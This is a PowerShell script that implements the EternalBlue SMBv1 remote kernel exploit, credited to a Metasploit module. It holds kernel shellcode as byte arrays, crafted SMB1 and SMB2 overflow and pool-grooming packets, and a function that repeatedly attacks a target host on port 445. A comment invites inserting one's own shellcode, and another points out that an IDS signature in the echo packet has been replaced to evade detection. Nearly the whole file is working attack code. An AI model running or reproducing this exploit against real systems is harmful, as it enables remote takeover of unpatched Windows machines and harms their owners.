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## Based on Eternal Blue metasploit module by Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0 'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
function Invoke-EternalBlue($target, $initial_grooms,$max_attempts){
$enc = [system.Text.Encoding]::ASCII
$GROOM_DELTA = 5
function make_kernel_shellcode {
[Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,
0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00,
0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00,
0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1,
0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48,
0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8,
0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83,
0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,
0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00,
0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41,
0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83,
0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00,
0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81,
0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41,
0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6,
0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48,
0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39,
0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2,
0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00,
0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2,
0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3,
0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00,
0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10,
0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00,
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00,
0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7,
0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00,
0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00,
0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00,
0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48,
0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB,
0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48,
0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C,
0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB,
0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41,
0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89,
0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31,
0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41,
0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58,
0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00,
0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89,
0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
0x5E,0xC3)
return $shellcode
}
function make_kernel_user_payload($ring3) {
$sc = make_kernel_shellcode
$sc += [bitconverter]::GetBytes([uint16] ($ring3.length))
$sc += $ring3
return $sc
}
function make_smb2_payload_headers_packet(){
[Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124
return $pkt
}
function make_smb2_payload_body_packet($kernel_user_payload) {
$pkt_max_len = 4204
$pkt_setup_len = 497
$pkt_max_payload = $pkt_max_len - $pkt_setup_len
#padding
[Byte[]] $pkt = [Byte[]] (0x00) * 0x8
$pkt += 0x03,0x00,0x00,0x00
$pkt += [Byte[]] (0x00) * 0x1c
$pkt += 0x03,0x00,0x00,0x00
$pkt += [Byte[]] (0x00) * 0x74
# KI_USER_SHARED_DATA addresses
$pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address
$pkt += [Byte[]] (0x00) * 0x10
$pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2 # x86 address
$pkt += [Byte[]] (0x00) * 0xc4
# payload addreses
$pkt += 0x90,0xf1,0xdf,0xff
$pkt += [Byte[]] (0x00) * 0x4
$pkt += 0xf0,0xf1,0xdf,0xff
$pkt += [Byte[]] (0x00) * 0x40
$pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
$pkt += [Byte[]] (0x00) * 0x8
$pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff
$pkt += 0x00
$pkt += $kernel_user_payload
# fill out the rest, this can be randomly generated
$pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length)
return $pkt
}
function make_smb1_echo_packet($tree_id, $user_id) {
[Byte[]] $pkt = [Byte[]] (0x00) # type
$pkt += 0x00,0x00,0x31 # len = 49
$pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB") # SMB1
$pkt += 0x2b # Echo
$pkt += 0x00,0x00,0x00,0x00 # Success
$pkt += 0x18 # flags
$pkt += 0x07,0xc0 # flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # Reserved
$pkt += $tree_id # Tree ID
$pkt += 0xff,0xfe # PID
$pkt += $user_id # UserID
$pkt += 0x40,0x00 # MultiplexIDs
$pkt += 0x01 # Word count
$pkt += 0x01,0x00 # Echo count
$pkt += 0x0c,0x00 # Byte count
# echo data
# this is an existing IDS signature, and can be nulled out
#$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00
$pkt += 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00
return $pkt
}
function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) {
$timeout = ($timeout * 0x10) + 3
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
$pkt += 0x00,0x10,0x35 # length
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
$pkt += 0x33 # Trans2 request
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
$pkt += 0x18 # Flags
$pkt += 0x07,0xc0 # Flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # Reserved
$pkt += $user_id # TreeID
$pkt += 0xff,0xfe # PID
$pkt += $user_id # UserID
$pkt += 0x40,0x00 # MultiplexIDs
$pkt += 0x09 # Word Count
$pkt += 0x00,0x00 # Total Param Count
$pkt += 0x00,0x10 # Total Data Count
$pkt += 0x00,0x00 # Max Param Count
$pkt += 0x00,0x00 # Max Data Count
$pkt += 0x00 # Max Setup Count
$pkt += 0x00 # Reserved
$pkt += 0x00,0x10 # Flags
$pkt += 0x35,0x00,0xd0 # Timeouts
$pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int
$pkt += 0x00,0x00 # Reserved
$pkt += 0x00,0x10 # Parameter Count
#$pkt += 0x74,0x70 # Parameter Offset
#$pkt += 0x47,0x46 # Data Count
#$pkt += 0x45,0x6f # Data Offset
#$pkt += 0x4c # Setup Count
#$pkt += 0x4f # Reserved
if ($type -eq "eb_trans2_exploit") {
$pkt += [Byte[]] (0x41) * 2957
$pkt += 0x80,0x00,0xa8,0x00 # overflow
$pkt += [Byte[]] (0x00) * 0x10
$pkt += 0xff,0xff
$pkt += [Byte[]] (0x00) * 0x6
$pkt += 0xff,0xff
$pkt += [Byte[]] (0x00) * 0x16
$pkt += 0x00,0xf1,0xdf,0xff # x86 addresses
$pkt += [Byte[]] (0x00) * 0x8
$pkt += 0x20,0xf0,0xdf,0xff
$pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64
$pkt += 0x60,0x00,0x04,0x10
$pkt += [Byte[]] (0x00) * 4
$pkt += 0x80,0xef,0xdf,0xff
$pkt += [Byte[]] (0x00) * 4
$pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff
$pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
$pkt += [Byte[]] (0x00) * 0x10
$pkt += 0x60,0x00,0x04,0x10
$pkt += [Byte[]] (0x00) * 0xc
$pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff
$pkt += [Byte[]] (0x00) * 0x8
$pkt += 0x80,0x10
$pkt += [Byte[]] (0x00) * 0xe
$pkt += 0x39
$pkt += 0xbb
$pkt += [Byte[]] (0x41) * 965
return $pkt
}
if($type -eq "eb_trans2_zero") {
$pkt += [Byte[]] (0x00) * 2055
$pkt += 0x83,0xf3
$pkt += [Byte[]] (0x41) * 2039
#$pkt += 0x00 * 4096
}
else {
$pkt += [Byte[]] (0x41) * 4096
}
return $pkt
}
function negotiate_proto_request()
{
[Byte[]] $pkt = [Byte[]] (0x00) # Message_Type
$pkt += 0x00,0x00,0x54 # Length
$pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB
$pkt += 0x72 # smb_command: Negotiate Protocol
$pkt += 0x00,0x00,0x00,0x00 # nt_status
$pkt += 0x18 # flags
$pkt += 0x01,0x28 # flags2
$pkt += 0x00,0x00 # process_id_high
$pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature
$pkt += 0x00,0x00 # reserved
$pkt += 0x00,0x00 # tree_id
$pkt += 0x2F,0x4B # process_id
$pkt += 0x00,0x00 # user_id
$pkt += 0xC5,0x5E # multiplex_id
$pkt += 0x00 # word_count
$pkt += 0x31,0x00 # byte_count
# Requested Dialects
$pkt += 0x02 # dialet_buffer_format
$pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00 # dialet_name: LANMAN1.0
$pkt += 0x02 # dialet_buffer_format
$pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00 # dialet_name: LM1.2X002
$pkt += 0x02 # dialet_buffer_format
$pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0
$pkt += 0x02 # dialet_buffer_format
$pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00 # dialet_name4: NT LM 0.12
return $pkt
}
function make_smb1_nt_trans_packet($tree_id, $user_id) {
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
$pkt += 0x00,0x04,0x38 # length
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
$pkt += 0xa0 # NT Trans
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
$pkt += 0x18 # Flags
$pkt += 0x07,0xc0 # Flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # Reserved
$pkt += $tree_id # TreeID
$pkt += 0xff,0xfe # PID
$pkt += $user_id # UserID
$pkt += 0x40,0x00 # MultiplexID
$pkt += 0x14 # Word Count
$pkt += 0x01 # Max Setup Count
$pkt += 0x00,0x00 # Reserved
$pkt += 0x1e,0x00,0x00,0x00 # Total Param Count
$pkt += 0xd0,0x03,0x01,0x00 # Total Data Count
$pkt += 0x1e,0x00,0x00,0x00 # Max Param Count
$pkt += 0x00,0x00,0x00,0x00 # Max Data Count
$pkt += 0x1e,0x00,0x00,0x00 # Param Count
$pkt += 0x4b,0x00,0x00,0x00 # Param Offset
$pkt += 0xd0,0x03,0x00,0x00 # Data Count
$pkt += 0x68,0x00,0x00,0x00 # Data Offset
$pkt += 0x01 # Setup Count
$pkt += 0x00,0x00 # Function <unknown>
$pkt += 0x00,0x00 # Unknown NT transaction (0) setup
$pkt += 0xec,0x03 # Byte Count
$pkt += [Byte[]] (0x00) * 0x1f # NT Parameters
# undocumented
$pkt += 0x01
$pkt += [Byte[]](0x00) * 0x3cd
return $pkt
}
function make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) {
[Byte[]] $pkt = 0x00 # Session message
$pkt += 0x00,0x00,0x51 # length
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
$pkt += 0x73 # Session Setup AndX
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
$pkt += 0x18 # Flags
$pkt += $flags2 # Flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # Reserved
$pkt += 0x00,0x00 # TreeID
$pkt += 0xff,0xfe # PID
$pkt += 0x00,0x00 # UserID
$pkt += 0x40,0x00 # MultiplexID
#$pkt += 0x00,0x00 # Reserved
$pkt += 0x0c # Word Count
$pkt += 0xff # No further commands
$pkt += 0x00 # Reserved
$pkt += 0x00,0x00 # AndXOffset
$pkt += 0x04,0x11 # Max Buffer
$pkt += 0x0a,0x00 # Max Mpx Count
$pkt += $vcnum # VC Number
$pkt += 0x00,0x00,0x00,0x00 # Session key
$pkt += 0x00,0x00 # Security blob length
$pkt += 0x00,0x00,0x00,0x00 # Reserved
$pkt += 0x00,0x00,0x00,0x80 # Capabilities
$pkt += 0x16,0x00 # Byte count
#$pkt += 0xf0 # Security Blob: <MISSING>
#$pkt += 0xff,0x00,0x00,0x00 # Native OS
#$pkt += 0x00,0x00 # Native LAN manager
#$pkt += 0x00,0x00 # Primary domain
$pkt += $native_os
$pkt += [Byte[]] (0x00) * 17 # Extra byte params
return $pkt
}
function make_smb1_anonymous_login_packet {
# Neither Rex nor RubySMB appear to support Anon login?
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
$pkt += 0x00,0x00,0x88 # length
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
$pkt += 0x73 # Session Setup AndX
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
$pkt += 0x18 # Flags
$pkt += 0x07,0xc0 # Flags2
$pkt += 0x00,0x00 # PID High
$pkt += 0x00,0x00,0x00,0x00 # Signature1
$pkt += 0x00,0x00,0x00,0x00 # Signature2
$pkt += 0x00,0x00 # TreeID
$pkt += 0xff,0xfe # PID
$pkt += 0x00,0x00 # Reserved
$pkt += 0x00,0x00 # UserID
$pkt += 0x40,0x00 # MultiplexID
$pkt += 0x0d # Word Count
$pkt += 0xff # No further commands
$pkt += 0x00 # Reserved
$pkt += 0x88,0x00 # AndXOffset
$pkt += 0x04,0x11 # Max Buffer
$pkt += 0x0a,0x00 # Max Mpx Count
$pkt += 0x00,0x00 # VC Number
$pkt += 0x00,0x00,0x00,0x00 # Session key
$pkt += 0x01,0x00 # ANSI pw length
$pkt += 0x00,0x00 # Unicode pw length
$pkt += 0x00,0x00,0x00,0x00 # Reserved
$pkt += 0xd4,0x00,0x00,0x00 # Capabilities
$pkt += 0x4b,0x00 # Byte count
$pkt += 0x00 # ANSI pw
$pkt += 0x00,0x00 # Account name
$pkt += 0x00,0x00 # Domain name
# Windows 2000 2195
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00
$pkt += 0x00,0x00
# Windows 2000 5.0
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00
return $pkt
}
function tree_connect_andx_request($target, $userid) {
[Byte[]] $pkt = [Byte[]](0x00) #$pkt +=Message_Type'
$pkt +=0x00,0x00,0x47 #$pkt +=Length'
$pkt +=0xFF,0x53,0x4D,0x42 #$pkt +=server_component': .SMB
$pkt +=0x75 #$pkt +=smb_command': Tree Connect AndX
$pkt +=0x00,0x00,0x00,0x00 #$pkt +=nt_status'
$pkt +=0x18 #$pkt +=flags'
$pkt +=0x01,0x20 #$pkt +=flags2'
$pkt +=0x00,0x00 #$pkt +=process_id_high'
$pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 #$pkt +=signature'
$pkt +=0x00,0x00 #$pkt +=reserved'
$pkt +=0x00,0x00 #$pkt +=tree_id'
$pkt +=0x2F,0x4B #$pkt +=process_id'
$pkt += $userid #$pkt +=user_id'
$pkt +=0xC5,0x5E #$pkt +=multiplex_id'
$ipc = "\\"+ $target + "\IPC$"
$pkt +=0x04 # Word Count
$pkt +=0xFF # AndXCommand: No further commands
$pkt +=0x00 # Reserved
$pkt +=0x00,0x00 # AndXOffset
$pkt +=0x00,0x00 # Flags
$pkt +=0x01,0x00 # Password Length
$pkt +=0x1A,0x00 # Byte Count
$pkt +=0x00 # Password
$pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # \,0xxx.xxx.xxx.xxx\IPC$
$pkt += 0x00 # null byte after ipc added by kev
$pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00 # Service
$len = $pkt.Length - 4
# netbios[1] =$pkt +=0x00' + struct.pack('>H length)
$hexlen = [bitconverter]::GetBytes($len)[-2..-4]
$pkt[1] = $hexlen[0]
$pkt[2] = $hexlen[1]
$pkt[3] = $hexlen[2]
return $pkt
}
function smb_header($smbheader) {
$parsed_header =@{server_component=$smbheader[0..3];
smb_command=$smbheader[4];
error_class=$smbheader[5];
reserved1=$smbheader[6];
error_code=$smbheader[6..7];
flags=$smbheader[8];
flags2=$smbheader[9..10];
process_id_high=$smbheader[11..12];
signature=$smbheader[13..21];
reserved2=$smbheader[22..23];
tree_id=$smbheader[24..25];
process_id=$smbheader[26..27];
user_id=$smbheader[28..29];
multiplex_id=$smbheader[30..31];
}
return $parsed_header
}
function smb1_get_response($sock){
$tcp_response = [Array]::CreateInstance("byte", 1024)
try{
$sock.Receive($tcp_response)| out-null
}
catch {
Write-Verbose "socket error, exploit may fail "
}
$netbios = $tcp_response[0..4]
$smb_header = $tcp_response[4..36] # SMB Header: 32 bytes
$parsed_header = smb_header($smb_header)
return $tcp_response, $parsed_header
}
function client_negotiate($sock){
$raw_proto = negotiate_proto_request
$sock.Send($raw_proto) | out-null
return smb1_get_response($sock)
}
function smb1_anonymous_login($sock){
$raw_proto = make_smb1_anonymous_login_packet
$sock.Send($raw_proto) | out-null
return smb1_get_response($sock)
}
function tree_connect_andx($sock, $target, $userid){
$raw_proto = tree_connect_andx_request $target $userid
$sock.Send($raw_proto) | out-null
return smb1_get_response($sock)
}
function smb1_anonymous_connect_ipc($target)
{
$client = New-Object System.Net.Sockets.TcpClient($target,445)
$sock = $client.Client
client_negotiate($sock) | Out-Null
$raw, $smbheader = smb1_anonymous_login $sock
$raw, $smbheader = tree_connect_andx $sock $target $smbheader.user_id
return $smbheader, $sock
}
function smb1_large_buffer($smbheader,$sock){
$nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id
# send NT Trans
$sock.Send($nt_trans_pkt) | out-null
$raw, $transheader = smb1_get_response($sock)
#initial trans2 request
$trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0
#send all but the last packet
for($i =1; $i -le 14; $i++) {
$trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i
}
$trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id $smbheader.user_id
$sock.Send($trans2_pkt_nulled) | out-null
smb1_get_response($sock) | Out-Null
}
function smb1_free_hole($start) {
$client = New-Object System.Net.Sockets.TcpClient($target,445)
$sock = $client.Client
client_negotiate($sock) | Out-Null
if($start) {
$pkt = make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00)
}
else {
$pkt = make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00)
}
$sock.Send($pkt) | out-null
smb1_get_response($sock) | Out-Null
return $sock
}
function smb2_grooms($target, $grooms, $payload_hdr_pkt, $groom_socks){
for($i =0; $i -lt $grooms; $i++)
{
$client = New-Object System.Net.Sockets.TcpClient($target,445)
$gsock = $client.Client
$groom_socks += $gsock
$gsock.Send($payload_hdr_pkt) | out-null
}
return $groom_socks
}
function smb_eternalblue($target, $grooms) {
#replace null bytes with your shellcode
[Byte[]] $payload = [Byte[]](0x00,0x00,0x00)
$shellcode = make_kernel_user_payload($payload)
$payload_hdr_pkt = make_smb2_payload_headers_packet
$payload_body_pkt = make_smb2_payload_body_packet($shellcode)
Write-Verbose "Connecting to target for activities"
$smbheader, $sock = smb1_anonymous_connect_ipc($target)
$sock.ReceiveTimeout =2000
Write-Verbose "Connection established for exploitation."
# Step 2: Create a large SMB1 buffer
Write-Verbose "all but last fragment of exploit packet"
smb1_large_buffer $smbheader $sock
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
# initialize_groom_threads(ip, port, payload, grooms)
$fhs_sock = smb1_free_hole $true
$groom_socks =@()
$groom_socks = smb2_grooms $target $grooms $payload_hdr_pkt $groom_socks
$fhf_sock = smb1_free_hole $false
$fhs_sock.Close() | Out-Null
$groom_socks = smb2_grooms $target 6 $payload_hdr_pkt $groom_socks
$fhf_sock.Close() | out-null
Write-Verbose "Running final exploit packet"
$final_exploit_pkt = $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit" 15
try{
$sock.Send($final_exploit_pkt) | Out-Null
$raw, $exploit_smb_header = smb1_get_response $sock
Write-Verbose ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code))
}
catch {
Write-Verbose "socket error, exploit may fail horribly"
}
Write-Verbose "Send the payload with the grooms"
foreach ($gsock in $groom_socks)
{
$gsock.Send($payload_body_pkt[0..2919]) | out-null
}
foreach ($gsock in $groom_socks)
{
$gsock.Send($payload_body_pkt[2920..4072]) | out-null
}
foreach ($gsock in $groom_socks)
{
$gsock.Close() | out-null
}
$sock.Close()| out-null
}
$VerbosePreference = "continue"
for ($i=0; $i -lt $max_attempts; $i++) {
$grooms = $initial_grooms + $GROOM_DELTA*$i
smb_eternalblue $target $grooms
}
}